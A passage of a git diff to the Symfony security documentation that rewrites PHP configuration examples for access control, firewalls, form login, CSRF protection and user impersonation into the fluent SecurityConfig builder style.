+            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+        };
 
 Users with the ``ROLE_ADMIN`` role will also have the
 ``ROLE_USER`` role. And users with ``ROLE_SUPER_ADMIN``, will automatically have
diff --git a/security/access_control.rst b/security/access_control.rst
index 2f65dc60281..ec86b8a6836 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -88,49 +88,46 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
-        $container->loadFromExtension('security', [
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, SecurityConfig $security) {
+            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_PORT',
-                    'ip' => '127.0.0.1',
-                    'port' => '8080',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '127.0.0.1',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_HOST',
-                    'host' => 'symfony\.com$',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_METHOD',
-                    'methods' => 'POST, PUT',
-                ],
-
-                // ips can be comma-separated, which is especially useful when using env variables
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '%env(TRUSTED_IPS)%',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => [
-                        '127.0.0.1',
-                        '::1',
-                        '%env(TRUSTED_IPS)%',
-                    ],
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_PORT'])
+                ->ips(['127.0.0.1'])
+                ->port(8080)
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_HOST'])
+                ->host('symfony\.com$')
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_METHOD'])
+                ->methods(['POST', 'PUT'])
+            ;
+            // ips can be comma-separated, which is especially useful when using env variables
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['%env(TRUSTED_IPS)%'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
+            ;
+        };
 
 .. versionadded:: 5.2
 
@@ -275,21 +272,23 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/internal',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    // the 'ips' option supports IP addresses and subnet masks
-                    'ips' => ['127.0.0.1', '::1'],
-                ],
-                [
-                    'path' => '^/internal',
-                    'roles' => 'ROLE_NO_ACCESS',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                // the 'ips' option supports IP addresses and subnet masks
+                ->ips(['127.0.0.1', '::1'])
+            ;
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['ROLE_NO_ACCESS'])
+            ;
+        };
 
 Here is how it works when the path is ``/internal/something`` coming from
 the external IP address ``10.0.0.1``:
@@ -361,18 +360,19 @@ key:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/_internal/secure',
-                    // the 'role' and 'allow-if' options work like an OR expression, so
-                    // access is granted if the expression is TRUE or the user has ROLE_ADMIN
-                    'roles' => 'ROLE_ADMIN',
-                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/_internal/secure')
+                // the 'role' and 'allow-if' options work like an OR expression, so
+                // access is granted if the expression is TRUE or the user has ROLE_ADMIN
+                ->roles(['ROLE_ADMIN'])
+                ->allowIf('"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")')
+            ;
+        };
 
 In this case, when the user tries to access any URL starting with
 ``/_internal/secure``, they will only be granted access if the IP address is
@@ -438,16 +438,17 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'role' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'port' => '8080',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->port(8080)
+            ;
+        };
 
 Forcing a Channel (http, https)
 -------------------------------
@@ -491,13 +492,14 @@ the user will be redirected to ``https``:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'requires_channel' => 'https',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->requiresChannel('https')
+            ;
+        };
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index cdfb3e6db21..0d4676b3cf7 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -90,15 +90,14 @@ Now, configure this service ID as the entry point for the firewall:
 
         // config/packages/security.php
         use App\Security\AuthenticationEntryPoint;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'entry_point' => AuthenticationEntryPoint::class,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->entryPoint(AuthenticationEntryPoint::class)
+            ;
+        };
 
 Customize the Forbidden Response
 --------------------------------
@@ -167,15 +166,14 @@ configure it under your firewall:
 
         // config/packages/security.php
         use App\Security\AccessDeniedHandler;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'access_denied_handler' => AccessDeniedHandler::class,
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->accessDeniedHandler(AccessDeniedHandler::class)
+            ;
+        };
 
 Customizing All Access Denied Responses
 ---------------------------------------
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index 8745585ea83..2f9764a77fa 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
@@ -71,17 +71,16 @@ To support HTTP Basic authentication, add the ``http_basic`` key to your firewal
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic' => [
-                        'realm' => 'Secured Area',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('main')
+                ->httpBasic()
+                    ->realm('Secured Area')
+            ;
+        };
 
 That's it! Symfony will now be listening for any HTTP basic authentication data.
 To load user information, it will use your configured :doc:`user provider </security/user_provider>`.
@@ -140,18 +139,17 @@ Enable the x509 authentication for a particular firewall in the security configu
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'x509' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('main')
+                // ...
+                ->x509()
+                    ->provider('your_user_provider')
+            ;
+        };
 
 By default, the firewall provides the ``SSL_CLIENT_S_DN_Email`` variable to
 the user provider, and sets the ``SSL_CLIENT_S_DN`` as credentials in the
@@ -218,15 +216,14 @@ corresponding firewall in your security configuration:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'remote_user' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->remoteUser()
+                    ->provider('your_user_provider')
+            ;
+        };
 
 The firewall will then provide the ``REMOTE_USER`` environment variable to
 your user provider. You can change the variable name used by setting the ``user``
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 04c94a4a82c..743fdb9382e 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -511,17 +511,17 @@ You are finished! You can now define parts of your app as under WSSE protection.
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => true,
-                ],
-            ],
-        ]);
+            $security->firewall('wsse_secured')
+                ->pattern('^/api/')
+                ->stateless(true)
+                ->wsse()
+            ;
+        };
 
 Congratulations! You have written your very own custom security authentication
 provider!
@@ -634,19 +634,18 @@ set to any desirable value per firewall.
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => [
-                        'lifetime' => 30,
-                    ],
-                ],
-            ],
-        ]);
+            $security->firewall('wsse_secured')
+                ->pattern('^/api/')
+                ->stateless(true)
+                ->wsse()
+                    ->lifetime(30)
+            ;
+        };
 
 The rest is up to you! Any relevant configuration items can be defined
 in the factory and consumed or passed to the other classes in the container.
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 92f92ca61c8..10788ecd88e 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -48,10 +48,12 @@ The authenticator-based system can be enabled using the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-            // ...
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+        };
 
 The new system is backwards compatible with the current authentication
 system, with some exceptions that will be explained in this article:
@@ -121,19 +123,24 @@ unauthenticated access (e.g. the login page):
 
         // config/packages/security.php
         use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-            // ...
-            'access_control' => [
-                // allow unauthenticated users to access the login form
-                ['path' => '^/admin/login', 'roles' => AuthenticatedVoter::PUBLIC_ACCESS],
+            // allow unauthenticated users to access the login form
+            $security->accessControl()
+                ->path('^/admin/login')
+                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
+            ;
 
-                // but require authentication for all other admin routes
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
+            // but require authentication for all other admin routes
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN'])
+            ;
+        };
 
 Granting Anonymous Users Access in a Custom Voter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -233,23 +240,22 @@ You can configure this using the ``entry_point`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // allow authentication using a form or HTTP basic
-                    'form_login' => null,
-                    'http_basic' => null,
-
-                    // configure the form authentication as the entry point for unauthenticated users
-                    'entry_point' => 'form_login'
-                ],
-            ],
-        ]);
+
+            // allow authentication using a form or HTTP basic
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->formLogin();
+            $mainFirewall->httpBasic();
+
+            // configure the form authentication as the entry point for unauthenticated users
+            $mainFirewall
+                ->entryPoint('form_login');
+        };
 
 .. note::
 
@@ -359,7 +365,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                     custom_authenticators:
                         - App\Security\ApiKeyAuthenticator
 
-                    # don't forget to also configure the entry_point if the
+                    # remember to also configure the entry_point if the
                     # authenticator implements AuthenticationEntryPointInterface
                     # entry_point: App\Security\CustomFormLoginAuthenticator
 
@@ -378,7 +384,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
             <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <!-- don't forget to also configure the entry-point if the
+                <!-- remember to also configure the entry-point if the
                      authenticator implements AuthenticatorEntryPointInterface
                 <firewall name="main"
                     entry-point="App\Security\CustomFormLoginAuthenticator"> -->
@@ -393,24 +399,21 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 
         // config/packages/security.php
         use App\Security\ApiKeyAuthenticator;
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+            $security->firewall('main')
+                ->customAuthenticators([ApiKeyAuthenticator::class])
+
+                // remember to also configure the entry_point if the
+                // authenticator implements AuthenticatorEntryPointInterface
+                // ->entryPoint(App\Security\CustomFormLoginAuthenticator::class)
+            ;
+        };
 
-            // ...
-            'firewalls' => [
-                'main' => [
-                    'custom_authenticators' => [
-                        ApiKeyAuthenticator::class,
-                    ],
-
-                    // don't forget to also configure the entry_point if the
-                    // authenticator implements AuthenticatorEntryPointInterface
-                    // 'entry_point' => [App\Security\CustomFormLoginAuthenticator::class],
-                ],
-            ],
-        ]);
 
 The ``authenticate()`` method is the most important method of the
 authenticator. Its job is to extract credentials (e.g. username &
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index c5546a8cba8..3638858efde 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -64,16 +64,16 @@ if the request path matches the configured ``pattern``.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'pattern' => '^/admin',
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->pattern('^/admin')
+                // ...
+            ;
+        };
 
 The ``pattern`` is a regular expression. In this example, the firewall will only be
 activated if the path starts (due to the ``^`` regex character) with ``/admin``. If
@@ -123,16 +123,16 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'host' => '^admin\.example\.com$',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->host('^admin\.example\.com$')
+                // ...
+            ;
+        };
 
 The ``host`` (like the ``pattern``) is a regular expression. In this example,
 the firewall will only be activated if the host is equal exactly (due to
@@ -183,16 +183,16 @@ the provided HTTP methods.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'methods' => ['GET', 'POST'],
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->methods(['GET', 'POST'])
+                // ...
+            ;
+        };
 
 In this example, the firewall will only be activated if the HTTP method of the
 request is either ``GET`` or ``POST``. If the method is not in the array of the
@@ -241,13 +241,13 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'request_matcher' => 'app.firewall.secured_area.request_matcher',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->requestMatcher('app.firewall.secured_area.request_matcher')
+                // ...
+            ;
+        };
diff --git a/security/force_https.rst b/security/force_https.rst
index 1b4a0b36be1..2c2a8fe42c2 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -60,27 +60,29 @@ access control:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
-                // ...
-
-                'access_control' => [
-                    [
-                        'path'             => '^/secure',
-                        'roles'            => 'ROLE_ADMIN',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/login',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ....
+
+                $security->accessControl()
+                    ->path('^/secure')
+                    ->roles(['ROLE_ADMIN'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/login')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+            };
 
 To make life easier while developing, you can also use an environment variable,
 like ``requires_channel: '%env(SECURE_SCHEME)%'``. In your ``.env`` file, set
diff --git a/security/form_login.rst b/security/form_login.rst
index 1ab379e7a83..c8f2cc7c1ff 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -56,18 +56,17 @@ First, enable ``form_login`` under your firewall:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'form_login' => [
-                        'login_path' => 'login',
-                        'check_path' => 'login',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->lazy(true);
+            $mainFirewall->anonymous();
+            $mainFirewall->formLogin()
+                ->loginPath('login')
+                ->checkPath('login')
+            ;
+        };
 
 .. tip::
 
@@ -300,19 +299,17 @@ security component:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'secured_area' => [
+            $security->firewall('secured_area')
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'csrf_token_generator' => 'security.csrf.token_manager',
-                    ],
-                ],
-            ],
-        ]);
+                    ->csrfTokenGenerator('security.csrf.token_manager')
+            ;
+        };
 
 .. _csrf-login-template:
 
@@ -386,20 +383,18 @@ After this, you have protected your login form against CSRF attacks.
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
                 // ...
 
-                'firewalls' => [
-                    'secured_area' => [
+                $security->firewall('secured_area')
+                    ->formLogin()
                         // ...
-                        'form_login' => [
-                            // ...
-                            'csrf_parameter' => '_csrf_security_token',
-                            'csrf_token_id'  => 'a_private_string',
-                        ],
-                    ],
-                ],
-            ]);
+                        ->csrfParameter('_csrf_security_token')
+                        ->csrfTokenId('a_private_string')
+                ;
+            };
 
 Redirecting after Success
 -------------------------
@@ -459,20 +454,18 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'default_target_path' => 'after_login_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->defaultTargetPath('after_login_route_name')
+            ;
+        };
 
 Always Redirect to the default Page
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -519,20 +512,18 @@ previously requested URL and always redirect to the default page:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'always_use_default_target_path' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->alwaysUseDefaultTargetPath(true)
+            ;
+        };
 
 .. _control-the-redirect-url-from-inside-the-form:
 
@@ -609,19 +600,18 @@ parameter is included in the request, you may use the value of the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'use_referer' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->useReferer(true)
+            ;
+        };
 
 .. note::
 
@@ -677,19 +667,18 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'failure_path' => 'login_failure_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->failurePath('login_failure_route_name')
+            ;
+        };
 
 This option can also be set via the ``_failure_path`` request parameter:
 
@@ -755,19 +744,19 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        'target_path_parameter' => 'go_to',
-                        'failure_path_parameter' => 'back_to',
-                    ],
-                ],
-            ],
-        ]);
+                    ->targetPathParameter('go_to')
+                    ->failurePathParameter('back_to')
+            ;
+        };
 
 Using the above configuration, the query string parameters and hidden form fields
 are now fully customized:
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index b4bba11862c..7fe912cdac7 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -128,19 +128,19 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'logout' => [
-                        'path' => 'app_logout',
-                        // where to redirect after logout
-                        'target' => 'app_any_route'
-                    ],
-                ],
-            ],
-        ]);
+
+            $security->firewall('main')
+                // ...
+                ->logout()
+                    ->path('app_logout')
+                    // where to redirect after logout
+                    ->target('app_any_route')
+            ;
+        };
 
 **Step 2.** The template has very little to do with security: it generates
 a traditional HTML form that submits to ``/login``:
@@ -347,23 +347,24 @@ a traditional HTML form that submits to ``/login``:
 
         // config/packages/security.php
         use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
 
-        $container->loadFromExtension('security', [
+            $mainFirewall = $security->firewall('main');
             // ...
-            'firewalls' => [
-                'main' => [
-                    // ...,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ]
-                    ],
-                    'logout' => [
-                        'path' => 'app_logout',
-                    ],
-                ],
-            ],
-        ]);
+
+            $mainFirewall
+                ->guard()
+                    ->authenticators([LoginFormAuthenticator::class])
+            ;
+
+            $mainFirewall
+                ->logout()
+                    ->path('app_logout')
+            ;
+        };
 
 Finishing the Login Form
 ------------------------
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 7108ba0906e..a945cfb89e6 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -98,20 +98,18 @@ Next, configure your "user provider" to use this new ``apiToken`` property:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'providers' => [
-                'your_db_provider' => [
-                    'entity' => [
-                        'class' => 'App\Entity\User',
-                        'property' => 'apiToken',
-                    ],
-                ],
-            ],
+            $security->provider('your_db_provider')
+                ->entity('App\Entity\User')
+                ->property('apiToken')
+            ;
 
             // ...
-        ]);
+        };
 
 Step 2) Create the Authenticator Class
 --------------------------------------
@@ -292,28 +290,25 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
     .. code-block:: php
 
         // config/packages/security.php
-
-        // ...
         use App\Security\TokenAuthenticator;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main'       => [
-                    'pattern'        => '^/',
-                    'anonymous'      => true,
-                    'lazy'           => true,
-                    'logout'         => true,
-                    'guard'          => [
-                        'authenticators'  => [
-                            TokenAuthenticator::class,
-                        ],
-                    ],
-                    // if you want, disable storing the user in the session
-                    // 'stateless' => true,
-                    // ...
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->pattern('^/')
+                ->lazy(true)
+                ->anonymous();
+
+            $mainFirewall->logout();
+            $mainFirewall
+                ->guard()
+                    ->authenticators([TokenAuthenticator::class])
+            ;
+            // if you want, disable storing the user in the session
+            // $mainFirewall->stateless(true);
+            // ...
+        };
 
 You did it! You now have a fully-working API token authentication system. If your
 homepage required ``ROLE_USER``, then you could test it under different conditions:
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 3c5e421c723..f31474f238c 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -55,16 +55,15 @@ listener:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => true,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+            ;
+        };
 
 To switch to another user, add a query string with the ``_switch_user``
 parameter and the username (or whatever field our user provider uses to load users)
@@ -191,19 +190,17 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'ROLE_ADMIN',
-                        'parameter' => '_want_to_be_this_user',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('ROLE_ADMIN')
+                    ->parameter('_want_to_be_this_user')
+            ;
+        };
 
 Limiting User Switching
 -----------------------
@@ -250,18 +247,16 @@ be called):
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'CAN_SWITCH_USER',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('CAN_SWITCH_USER')
+            ;
+        };
 
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 41107f9f46a..2806f6c9a97 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
